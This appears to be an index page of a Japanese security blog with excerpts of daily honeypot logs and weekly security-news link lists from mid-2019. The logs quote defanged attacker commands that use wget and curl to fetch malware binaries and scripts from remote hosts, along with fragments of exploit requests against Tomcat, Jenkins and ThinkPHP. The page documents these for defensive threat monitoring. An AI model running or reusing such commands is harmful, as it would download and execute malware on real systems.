気になったセキュリティニュース(06/23-06/29)

06/23(日) 06/24(月) 06/25(火) 06/26(水) 06/27(木) 06/28(金) 06/29(土) 06/23(日) www.cnn.co.jpnews.mynavi.jp 06/24(月) www.jiji.comwww.excite.co.jpwww.security-next.comnews.mynavi.jpnews.mynavi.jpthinkit.co.jp 06/25(火) news.mynavi.jpwww.security-next.comgigazine.netnews.mynavi.jpjapan.zdnet.com 06/26(水) gigaz…

WOWHoneypot観察(105日目)

2019/06/29(土) トータルは4090件です。ハンティングログは以下です。 85.219.12[.]80 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 1.119.147[.]226 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl www.virustotal.com www.virustotal.com 182.23.7[.]194 wget -c hxxp[:]//185.14.30[.]79/S0.sh www.virustotal.com IPのロケーション別の件数は以下です。 アメリカ …

WOWHoneypot観察(104日目)

2019/06/28(金) トータルは4068件です。ハンティングログは以下です。 89.115.102[.]167 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl www.virustotal.com www.virustotal.com IPのロケーション別の件数は以下です。 イタリア 4005 ルーマニア 20 アメリカ 10 ブラジル 6 中国 6 イラン 4 ドイツ 3 インド 2 ポルトガル 1 チェコ 1 トルコ 1 イスラエル 1 カザフスタン 1 カナダ 1 エクアドル 1 コロンビア 1 オランダ 1 インドネシア 1 シンガポー…

WOWHoneypot観察(103日目)

2019/06/27(木) トータルは5793件です。ハンティングログは以下です。 198.211.99.172 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang[.]mpsl 98.144.136.160 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang[.]mpsl 47.186.67.61 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang[.]mpsl www.virustotal.com www.virustotal.com 206.189.27.225 wget hxxp[:]//185.…

WOWHoneypot観察(102日目)

2019/06/26(水) トータルは1716件です。ハンティングログはありませんでした。IPのロケーション別の件数は以下です。 アルゼンチン 1502 イタリア 157 アメリカ 10 ブラジル 9 中国 5 インド 4 インドネシア 3 イラン 3 シンガポール 2 ウクライナ 2 フランス 2 スロベニア 1 チェコ 1 アルバニア 1 プエルトリコ 1 カンボジア 1 マケドニア 1 ロシア 1 エクアドル 1 バングラデシュ 1 トルコ 1 オーストラリア 1 パキスタン 1 メキシコ 1 マラウイ 1 オランダ 1 タイ 1 マレーシア 1 件数 概要 リクエスト 1660 Tom…

WOWHoneypot観察(101日目)

2019/06/25(火) トータルは3115件です。ハンティングログは以下です。 171.38.218.103 wget+hxxp[:]//185[.]244[.]25[.]155/lx/apep[.]mpsl www.virustotal.com www.virustotal.com 182.34.123.90 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang[.]mpsl 120.82.200.214 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang[.]mpsl www.virustotal.com www.virusto…

WOWHoneypot観察(100日目)

2019/06/24(月) トータルは3845件です。ハンティングログは以下です。 168.196.107.7 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 112.95.23.220 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 183.157.169.143 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 186.231.208.129 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 211.184.125.24…

WOWHoneypot観察(99日目)

2019/06/23(日) トータルは4045件です。ハンティングログは以下です。 174.126.222.32 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 83.7.66.105 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 211.184.117.131 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 47.74.13.194 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang.mpsl 203.81.136.132 wge…

気になったセキュリティニュース(06/16-06/22)

06/16(日) 06/17(月) 06/18(火) 06/19(水) 06/20(木) 06/21(金) 06/22(土) 06/16(日) headlines.yahoo.co.jp 06/17(月) japan.zdnet.comwww.security-next.comwww.itmedia.co.jpwww.meti.go.jpwww.atmarkit.co.jpgigazine.net 06/18(火) rollingstonejapan.comnews.biglobe.ne.jpwww.security-next.comjapan.zdnet.comnews.mynavi.jp …

WOWHoneypot観察(98日目)

2019/06/22(土) トータルは76件です。ハンティングログは以下です。 113.122.238[.]6 wget+hxxp[:]//185.244.25[.]155/lx/apep[.]mpsl www.virustotal.com www.virustotal.com 222.210.63[.]147 wget+hxxp[:]//ardp[.]hldns[.]ru/loligang[.]mpsl www.virustotal.com www.virustotal.com IPのロケーション別の件数は以下です。 中国 29 アメリカ 9 ブラジル 6 ロシア 6 イタリア 4 オランダ…

WOWHoneypot観察(97日目)

2019/06/21(金) トータルは4085件です。ハンティングログはありませんでした。IPのロケーション別の件数は以下です。 フィンランド 4002 アメリカ 21 中国 18 ブラジル 16 オランダ 3 タイ 2 コロンビア 2 バングラデシュ 2 トルコ 2 ロシア 2 ブルガリア 1 ルーマニア 1 イギリス 1 フランス 1 インドネシア 1 オーストラリア 1 シンガポール 1 パキスタン 1 ベトナム 1 プエルトリコ 1 イタリア 1 件数 概要 リクエスト 4007 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 56 アクセス G…

WOWHoneypot観察(96日目)

2019/06/20(木) トータルは4071件です。ハンティングログは以下です。 201.203.31[.]138 wget+hxxp[:]//185.244.25[.]157/lx/apep.mpsl www.virustotal.com IPのロケーション別の件数は以下です。 クロアチア 4002 アメリカ 14 ブラジル 13 中国 8 オランダ 7 イラン 4 トルコ 4 インド 3 チェコ 2 ロシア 1 ポーランド 1 ブルガリア 1 スペイン 1 ウクライナ 1 カナダ 1 カンボジア 1 コスタリカ 1 イタリア 1 セーシェル 1 アルゼンチン 1 ドミニカ 1 シンガポー…

WOWHoneypot観察(95日目)

2019/06/19(水) トータルは76件です。ハンティングログはありませんでした。IPのロケーション別の件数は以下です。 アメリカ 24 ブラジル 14 中国 10 ロシア 5 イタリア 2 チェコ 2 オランダ 2 ギリシャ 2 カンボジア 2 エストニア 1 イラン 1 ドイツ 1 イラク 1 ホンジュラス 1 ポーランド 1 モルドバ 1 フランス 1 トルコ 1 インド 1 南アフリカ 1 ジンバブエ 1 件数 概要 リクエスト 51 アクセス GET / 6 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 2 ThinkPHPの脆弱性を狙っ…

WOWHoneypot観察(94日目)

2019/06/18(火) トータルは8063件です。ハンティングログはありませんでした。IPのロケーション別の件数は以下です。 アメリカ 4023 アルゼンチン 4002 中国 7 ブラジル 6 イラン 3 ミャンマー 2 インド 2 コロンビア 2 オランダ 2 トルコ 2 インドネシア 2 ポーランド 2 ルーマニア 1 ウクライナ 1 セルビア 1 チェコ 1 ギリシャ 1 コスタリカ 1 イタリア 1 セーシェル 1 件数 概要 リクエスト 8005 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 38 アクセス GET / 2 不正中継の調査…

WOWHoneypot観察(93日目)

2019/06/17(月) トータルは4117件です。ハンティングログはありませんでした。IPのロケーション別の件数は以下です。 クロアチア 4002 イタリア 43 アメリカ 25 ブラジル 9 中国 6 オランダ 5 インドネシア 3 ロシア 2 イラン 2 チェコ 2 ウクライナ 1 ブルガリア 1 南アフリカ 1 レソト 1 ポーランド 1 台湾 1 エルサルバドル 1 メキシコ 1 カンボジア 1 件数 概要 リクエスト 4047 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 42 アクセス GET / 2 ThinkPHPの脆弱性を狙った通…

WOWHoneypot観察(92日目)

2019/06/16(日)トータルは2063件です。ハンティングログはありませんでした。IPのロケーション別の件数は以下です。 フィンランド 2002 アメリカ 14 ブラジル 12 ミャンマー 2 エクアドル 2 ドイツ 2 中国 2 ウクライナ 2 スロバキア 1 カンボジア 1 南アフリカ 1 インド 1 バングラディシュ 1 トルコ 1 ロシア 1 ブルガリア 1 スロベニア 1 オランダ 1 イギリス 1 イタリア 1 ペルー 1 イラン 1 インドネシア 1 件数 概要 リクエスト 2002 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 3…

気になったセキュリティニュース(06/09-06/15)

06/09(日) 06/10(月) 06/11(火) 06/12(水) 06/13(木) 06/14(金) 06/15(土) 06/09(日) coinpost.jpnews.yahoo.co.jp 06/10(月) www3.nhk.or.jpwww.security-next.comjapan.zdnet.comp2ptk.orgscan.netsecurity.ne.jp 06/11(火) gigazine.netwww.security-next.comwww.security-next.cominternet.watch.impress.co.jpnews.biglobe.ne.jp…

WOWHoneypot観察(91日目)

2019/06/15(土)トータルは246件です。ハンティングログは以下でした。 128.199.94[.]117 wget -q -O- hxxps[:]//pastebin[.]com/raw/xvfxprtb curl -fsSL hxxps[:]//pastebin[.]com/raw/xvfxprtb urlscan.ioURL先の文字列をBase64でデコードしたところ、以下のスクリプトが確認できました。 urlscan.iowww.virustotal.comjvndb.jvn.jpDrupalの脆弱性を狙ったもののようです。 件数 概要 リクエスト 180 Tomcat管…

WOWHoneypot観察(90日目)

2019/06/14(金)トータルは261件です。ハンティングログはありませんでした。 件数 概要 リクエスト 186 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 39 アクセス GET / 2 ZmEuによる調査 GET /w00tw00t.at.blackhats.romanian.anti-sec:) 2 ZmEuによるphpMyAdminの調査 GET /pma/scripts/setup.php 2 ZmEuによるphpMyAdminの調査 GET /phpmyadmin/scripts/setup.php 2 ZmEuによるphpMyAd…

WOWHoneypot観察(89日目)

2019/06/13(木)トータルは140件です。ハンティングログはありませんでした。 件数 概要 リクエスト 80 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 43 アクセス GET / 2 不正中継の調査 CONNECT www.baidu.com:443 1 ThinkPHPの脆弱性を狙った通信 POST /TP/public/index.php?s=captcha 1 不正中継の調査 GET hxxp://www.ceek.jp/?0.5025279526370201452100 1 不正中継の調査 GET hxxp://www.ceek.j…

WOWHoneypot観察(88日目)

2019/06/12(水)トータルは1907件です。ハンティングログはありませんでした。 件数 概要 リクエスト 1851 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 40 アクセス GET / 2 不正中継の調査 GET hxxp://hxxpheader.net/ 1 Spring Data Commonsの脆弱性を狙った通信 POST /users?page=&size=5 1 調査 HEAD / 1 不正中継の調査 GET hxxp://www.ceek.jp/?0.8373493160357792353440 1 不正中継の調査 GET h…

WOWHoneypot観察(87日目)

2019/06/11(火) トータルは2282件です。ハンティングログは以下です。 210.106.125[.]18 wget+hxxp[:]//hulo[.]r00ts[.]online/.configs/Ex01 www.virustotal.com 件数 概要 リクエスト 2208 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 48 アクセス GET / 7 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.je…

WOWHoneypot観察(86日目)

2019/06/10(月) トータルは1628件です。ハンティングログはありませんでした。 件数 概要 リクエスト 1546 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 48 アクセス GET / 3 調査 HEAD / 3 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?valu…

WOWHoneypot観察(85日目)

2019/06/09(日) トータルは56件です。ハンティングログはありませんでした。 件数 概要 リクエスト 37 アクセス GET / 2 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27Ns…

気になったセキュリティニュース(06/02-06/08)

06/02(日) 06/03(月) 06/04(火) 06/05(水) 06/06(木) 06/07(金) 06/08(土) 06/02(日) 特になし 06/03(月) www.itmedia.co.jpinternet.watch.impress.co.jpwww.viet-jo.com 06/04(火) internet.watch.impress.co.jpwww.security-next.com 06/05(水) gigazine.netiphone-mania.jpis702.jpjapan.zdnet.comjapan.zdnet.comwww.atmarkit.co.jpja…

WOWHoneypot観察(84日目)

2019/06/08(土) トータルは134件です。ハンティングログはありませんでした。 件数 概要 リクエスト 76 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 40 アクセス GET / 3 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(d…

WOWHoneypot観察(83日目)

2019/06/07(金) トータルは4070件です。ハンティングログはありませんでした。 件数 概要 リクエスト 4015 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 41 アクセス GET / 3 不正中継の調査 CONNECT check.best-proxies.ru:80 2 調査 HEAD / 2 不正中継の調査 GET hxxp://185.172.110.221:80/proxy_get.php?ip=128.199.163.16&foo=bar 2 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 …

WOWHoneypot観察(82日目)

2019/06/06(木) トータルは704件です。ハンティングログはありませんでした。 件数 概要 リクエスト 655 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 34 アクセス GET / 3 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(…

WOWHoneypot観察(81日目)

2019/06/05(水) トータルは71件です。ハンティングログはありませんでした。 件数 概要 リクエスト 42 アクセス GET / 5 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27Ns…

WOWHoneypot観察(80日目)

2019/06/04(火) トータルは1608件です。ハンティングログはありませんでした。 件数 概要 リクエスト 1534 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 44 アクセス GET / 7 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfi…

WOWHoneypot観察(79日目)

2019/06/03(月) トータルは6427件です。ハンティングログはありませんでした。 件数 概要 リクエスト 6341 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 49 アクセス GET / 7 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfi…

WOWHoneypot観察(78日目)

2019/06/02(日) トータルは2064件です。ハンティングログは以下です。 134.209.28[.]200 wget+hxxp[:]//134.209.183.3/akbins/mpsl.akira.ak www.virustotal.com 件数 概要 リクエスト 2003 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 35 アクセス GET / 7 Jenkinsのプラグインの脆弱性(CVE-2019-1003000)を狙った通信 GET /securityRealm/user/admin/descriptorByName/org.jen…

気になったセキュリティニュース(05/26-06/01)

05/26(日) 05/27(月) 05/28(火) 05/29(水) 05/30(木) 05/31(金) 06/01(土) 05/26(日) gigazine.net 05/27(月) www.itmedia.co.jptech.nikkeibp.co.jpjapan.zdnet.comgigazine.netwww.unii.ac.jp 05/28(火) japan.zdnet.comwww.security-next.comwww.tsuhannews.jpwww.appps.jp 05/29(水) www.yamada-denki.jpnlab.itmedia.co.jpwww.exc…

WOWHoneypot観察(77日目)

2019/06/01(土) トータルは4432件です。ハンティングログはありませんでした。 件数 概要 リクエスト 4002 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 45 アクセス GET / 8 WordPressのブルートフォース攻撃 POST /wp5/wp-login.php 8 WordPressのブルートフォース攻撃 POST /wp3/wp-login.php 8 WordPressのブルートフォース攻撃 POST /wordpress9/wp-login.php 8 WordPressのブルートフォース攻撃 POST /wordp…

WOWHoneypot観察(76日目)

2019/05/31(金) トータルは722件です。ハンティングログはありませんでした。 件数 概要 リクエスト 214 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html 53 アクセス GET / 10 WordPressのブルートフォース攻撃 POST /wp6/wp-login.php 10 WordPressのブルートフォース攻撃 POST /wp1/wp-login.php 10 WordPressのブルートフォース攻撃 POST /wp-login.php 10 WordPressのブルートフォース攻撃 POST /wordpress8/wp-…